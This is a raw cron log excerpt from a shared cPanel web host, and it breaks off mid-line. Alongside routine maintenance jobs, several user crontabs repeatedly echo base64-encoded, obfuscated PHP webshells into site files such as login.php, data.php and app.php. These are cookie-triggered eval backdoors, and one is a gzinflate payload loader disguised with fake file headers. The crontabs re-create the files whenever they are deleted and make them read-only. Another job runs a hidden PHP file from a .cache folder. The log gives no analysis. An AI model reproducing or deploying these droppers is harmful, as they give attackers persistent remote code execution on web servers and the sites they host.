Mar  1 07:55:01 medusa CROND[27338]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:55:01 medusa CROND[27339]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:55:01 medusa CROND[27341]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:55:01 medusa CROND[27352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27353]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27354]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27355]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:55:01 medusa CROND[27356]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:55:01 medusa CROND[27357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:55:01 medusa CROND[27358]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:55:01 medusa CROND[27361]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:55:01 medusa CROND[27365]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:55:01 medusa CROND[27366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:55:01 medusa CROND[27350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:55:01 medusa CROND[27351]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:56:01 medusa CROND[16816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:56:01 medusa CROND[16881]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:56:01 medusa CROND[16882]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:56:01 medusa CROND[16883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:56:01 medusa CROND[16884]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:56:01 medusa CROND[16885]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:56:01 medusa CROND[16890]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:56:01 medusa CROND[16891]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:56:01 medusa CROND[16893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:56:01 medusa CROND[16895]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:56:01 medusa CROND[16896]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:56:01 medusa CROND[16897]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:56:01 medusa CROND[16898]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:56:01 medusa CROND[16899]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:57:01 medusa CROND[7017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:57:01 medusa CROND[7018]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:57:01 medusa CROND[7019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:57:01 medusa CROND[7020]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:57:01 medusa CROND[7021]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:57:01 medusa CROND[7023]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:57:01 medusa CROND[7026]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:57:01 medusa CROND[7027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:57:01 medusa CROND[7028]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPy